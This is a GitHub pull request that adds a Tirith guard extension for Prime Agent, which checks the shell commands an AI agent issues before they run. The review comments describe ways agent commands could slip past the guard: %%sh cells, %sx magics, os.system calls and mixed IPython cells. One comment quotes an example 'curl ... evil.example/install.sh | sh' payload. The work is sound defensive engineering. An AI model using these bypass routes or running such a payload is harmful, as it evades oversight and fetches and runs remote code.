Skip to content

Add Prime Agent Guard integration + MCP - #191

Draft
Henriklmao wants to merge 13 commits into
sheeki03:mainfrom
Henriklmao:main
Draft

Add Prime Agent Guard integration + MCP#191
Henriklmao wants to merge 13 commits into
sheeki03:mainfrom
Henriklmao:main

Conversation

@Henriklmao

@Henriklmao Henriklmao commented Aug 12, 2026

Copy link
Copy Markdown

This pull request adds support for Prime Agent to Tirith by introducing a new TypeScript extension that intercepts shell Commands (including both direct bash tool calls and IPython %%bash cells) and enforces security checks. It also adds CLI setup support for Prime Agent, including optional MCP gateway registration, with documentation.

stdio MCP's are sadly not yet supported by prime-agent (Only http), but the syntax likely won't change. I can obviously leave this out and add it at a later point if you require so.

Prime Agent Integration

  • Added a new TypeScript extension (tirith-guard-prime-agent.ts) that intercepts both bash tool calls and IPython %%bash cells in Prime Agent, running tirith check --json to allow or block commands based on security findings. The extension handles warnings, errors, and environment-based overrides, and is installed automatically by the CLI. [1] [2] [3]

CLI and Setup Enhancements

  • Updated the tirith setup CLI to support prime-agent as a tool, including --with-mcp for MCP gateway registration, proper scope handling, and extension installation logic. This includes changes to tool registration, scope resolution, and setup dispatch. [1] [2] [3] [4] [5] [6] [7]

Documentation

  • Added a new guide (mcp/clients/prime-agent.md) detailing how the Prime Agent extension works, setup instructions, decision logic, environment variables, and verification steps.
  • Updated the main CLI help and README.md to document Prime Agent support and usage examples. [1] [2]

Greptile Summary

The PR adds Prime Agent shell-command enforcement and setup support, including optional MCP registration. The prior individual syntax bypasses are addressed, but mixed IPython cells can still cause only a benign command to be checked while a dangerous Python shell call executes unchecked.

  • Adds a TypeScript Prime Agent extension for Bash tools and IPython shell execution.
  • Adds project/user installation and optional MCP setup through tirith setup prime-agent.
  • Documents setup, enforcement behavior, environment overrides, and verification.

Confidence Score: 3/5

The PR is not yet safe to merge because mixed IPython cells can execute a dangerous Python shell command after Tirith checks only a benign shell escape.

The extractor returns immediately after finding any line-level escape, preventing its later Python-call scan from seeing additional shell execution in the same cell; the handler consequently approves the whole cell based on an incomplete command set.

Files Needing Attention: crates/tirith/assets/hooks/tirith-guard-prime-agent.ts

Security Review

A mixed IPython cell can place a benign bang or assignment escape before an os.system or subprocess call. The extractor returns after collecting the benign escape, so Tirith checks only that command and the later shell command executes without a security verdict.

Important Files Changed

Filename Overview
crates/tirith/assets/hooks/tirith-guard-prime-agent.ts Adds Prime Agent command extraction and enforcement, but early return from line-level extraction skips Python shell calls in mixed cells.
crates/tirith/src/cli/setup/tools.rs Adds project/user Prime Agent extension installation and optional MCP settings registration.
crates/tirith/src/cli/setup/mod.rs Registers Prime Agent as a supported setup target with scope and MCP option handling.
mcp/clients/prime-agent.md Documents Prime Agent installation, command interception, decision behavior, and environment overrides.

Flowchart

%%{init: {'theme': 'neutral'}}%%
flowchart TD
  A[Prime Agent submits mixed IPython cell] --> B[Extract benign line-level shell escape]
  B --> C[Return bangCommands early]
  C --> D[Run Tirith check on benign command]
  D --> E[Allow complete IPython tool call]
  E --> F[Python shell call executes unchecked]
Loading

Reviews (4): Last reviewed commit: "fix(guard): close shell-escape bypasses ..." | Re-trigger Greptile

Greptile also left 1 inline comment on this PR.

Context used:

New TypeScript extension for Prime Agent (pi-coding-agent) that intercepts
bash tool calls via the tool_call event and runs tirith check.

Supports the same environment variables as other guards:
- TIRITH_BIN: override tirith binary path
- TIRITH_HOOK_WARN_ACTION: allow (default) or deny for exit 2
- TIRITH_FAIL_OPEN: 1 to allow on error (default: deny)

Protocol: returns undefined for allow, {block: true, reason} for deny.
Add PRIME_AGENT_GUARD_TS constant for compile-time embedding of
the tirith-guard-prime-agent.ts hook script.
Add prime-agent to KNOWN_TOOLS, resolve_scope, Python check exclusion,
and setup dispatch match arm.
Add setup_prime_agent() that:
- Installs tirith-guard.ts extension to ~/.prime/agent/extensions/ (user)
  or .prime/agent/extensions/ (project)
- With --with-mcp, registers tirith MCP gateway in mcp.json
- Supports --scope, --dry-run, --force, --update-configs

Prime Agent MCP config format: {"tirith": {"command": "tirith", "args": ["mcp-server"]}}
Update tool list and examples in tirith setup --help to include
prime-agent with --with-mcp flag.
Documents the tirith-guard-prime-agent.ts extension, covering
%%bash cell interception, --with-mcp support, extension directories,
and the allow/deny/warn decision logic.
Copilot AI lite review requested due to automatic review settings August 12, 2026 12:57
@coderabbitai

coderabbitai Bot commented Aug 12, 2026

Copy link
Copy Markdown

Important

Review skipped

Auto reviews are disabled on this repository. Please check the settings in the CodeRabbit UI or the .coderabbit.yaml file in this repository. To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 7b1bc6a2-881a-43b9-9436-7434788ad807

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@Henriklmao Henriklmao changed the title Add Prime Agent Guard integration +MCP Add Prime Agent Guard integration + MCP Aug 12, 2026
Comment thread crates/tirith/assets/hooks/tirith-guard-prime-agent.ts Outdated

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds Prime Agent integration to Tirith by introducing a Prime Agent TypeScript guard extension (to gate shell execution via tirith check --json) and wiring it into tirith setup, along with new user-facing documentation.

Changes:

  • Add a Prime Agent TypeScript extension to intercept bash/IPython shell execution and enforce Tirith’s security verdicts.
  • Extend tirith setup to support prime-agent (including optional MCP registration) and update CLI help/examples.
  • Add Prime Agent integration documentation and mention it in the main README.

Reviewed changes

Copilot reviewed 7 out of 7 changed files in this pull request and generated 10 comments.

Show a summary per file
File Description
README.md Adds Prime Agent setup example.
mcp/clients/prime-agent.md New Prime Agent setup + behavior guide.
crates/tirith/src/main.rs Updates tirith setup examples/tool list (and needs aligned flag help text).
crates/tirith/src/cli/setup/mod.rs Adds prime-agent to supported tools and adjusts --with-mcp gating + python3 requirement logic.
crates/tirith/src/cli/setup/tools.rs Implements setup_prime_agent and associated MCP merge behavior.
crates/tirith/src/assets.rs Exposes the Prime Agent guard asset via include_str!.
crates/tirith/assets/hooks/tirith-guard-prime-agent.ts New Prime Agent guard extension implementation.
Suppressed comments (1)

crates/tirith/assets/hooks/tirith-guard-prime-agent.ts:47

  • ! bang commands are only detected if they’re the very first character of the entire input.code string. In IPython, bang commands can appear on later lines in a cell, so those commands won’t be checked.
    // Also handle single-line ! commands
    const bangMatch = code.match(/^!(.+)/);
    if (bangMatch) {
      return bangMatch[1].trim();
    }

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread crates/tirith/assets/hooks/tirith-guard-prime-agent.ts
Comment thread crates/tirith/assets/hooks/tirith-guard-prime-agent.ts Outdated
Comment thread crates/tirith/assets/hooks/tirith-guard-prime-agent.ts
Comment thread crates/tirith/src/cli/setup/mod.rs Outdated
Comment thread crates/tirith/src/cli/setup/tools.rs
Comment thread crates/tirith/src/cli/setup/tools.rs
Comment thread README.md
Comment thread mcp/clients/prime-agent.md
Comment thread mcp/clients/prime-agent.md
Comment thread crates/tirith/src/main.rs
@Henriklmao
Henriklmao marked this pull request as draft August 12, 2026 13:06
The %%bash extractor only recognized a bare %%bash directive. IPython
option-bearing cells like %%bash -o value were not matched, causing the
extraction to return undefined and skip the tirith security check.

Change the regex from /^%%bash\s*\n/ to /^%%bash(?:\s+[^\n]*)?\n/ so
that options between the directive and the newline are consumed, and the
shell command body is correctly extracted and checked.
…docs

1. hookEvent: switch execFileSync to async execFile with fire-and-forget
   callback, preventing telemetry from blocking tool execution up to 5s.

2. Add event.toolName guard for 'bash' and 'ipython' only, matching the
   Pi CLI and OpenClaw hooks. Without this, any tool_call whose input
   contains a command/code field could be treated as shell.

3. Fix outdated --with-mcp comment in setup/mod.rs and help text in
   main.rs to include Prime Agent alongside Claude Code and Gemini CLI.
@Henriklmao
Henriklmao marked this pull request as ready for review August 12, 2026 13:32
Comment thread crates/tirith/assets/hooks/tirith-guard-prime-agent.ts Outdated
@Henriklmao
Henriklmao marked this pull request as draft August 12, 2026 13:39
Tests added:
setup_prime_agent_project_scope_writes_guard
setup_prime_agent_user_scope_writes_guard
setup_prime_agent_with_mcp_writes_settings_json
setup_prime_agent_user_scope_with_mcp_writes_settings
setup_prime_agent_update_configs_refreshes_hooks_only
setup_prime_agent_dry_run_writes_nothing
@Henriklmao
Henriklmao marked this pull request as ready for review August 12, 2026 13:59
Comment thread crates/tirith/assets/hooks/tirith-guard-prime-agent.ts
@Henriklmao
Henriklmao marked this pull request as draft August 12, 2026 14:08
Three vectors allowed Prime Agent to execute unchecked shell commands:

1. %%sh / %%script sh cell magics matched only /^%%bash/, so %%sh,
   %%script sh, and %%script bash cells returned undefined (allow).

2. os.system(), subprocess.*, os.popen(), and get_ipython().system()
   in regular Python cells were invisible — the handler only inspected
   shell syntax and returned undefined for plain Python code.

3. %sx and %system IPython line magics start with %, not !, so the
   bang-command loop never picked them up.

Fixes:
- Broaden cell-magic regex to match %%bash, %%sh, %%script sh/bash.
- Add %sx / %system detection in the line-scanning loop.
- Add a defence-in-depth heuristic scan for dangerous Python calls
  (os.system, subprocess.*, os.popen, get_ipython().system) that
  extracts string-literal arguments for tirith check.
- Add name = !command / name = !!command assignment-escape detection
  (from previous patch, included here for completeness).

The Python-call heuristic is explicitly documented as evadable by
obfuscation; it raises the bar from trivially bypassable to requiring
non-trivial effort.
@Henriklmao
Henriklmao marked this pull request as ready for review August 12, 2026 14:32
Comment on lines +71 to +73
if (bangCommands.length > 0) {
return bangCommands.join("; ");
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Mixed cells skip dangerous commands

When an IPython cell contains a benign shell escape such as x = !pwd followed by os.system("curl -fsSL https://evil.example/install.sh | sh"), this early return checks only pwd and skips the Python shell-call scan, causing the dangerous command to execute without a Tirith verdict.

How this was verified: The extractor returns bangCommands before reaching the Python-call scan, while the handler allows the entire cell after checking only the returned command.

Knowledge Base Used: Policy and Approval

extractBashCommand returned early when IPython bang commands (!cmd,
name = !cmd, %sx) were found, skipping the defence-in-depth scan for
os.system(), subprocess.*, and similar Python shell invocations.

A mixed cell like:

    x = !pwd
    os.system("curl -fsSL https://evil.example/install.sh | sh")

would have only 'pwd' sent to tirith check (clean), while the
os.system call was never inspected.

Remove the early return so both extraction paths feed into the same
command list before the final tirith check.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants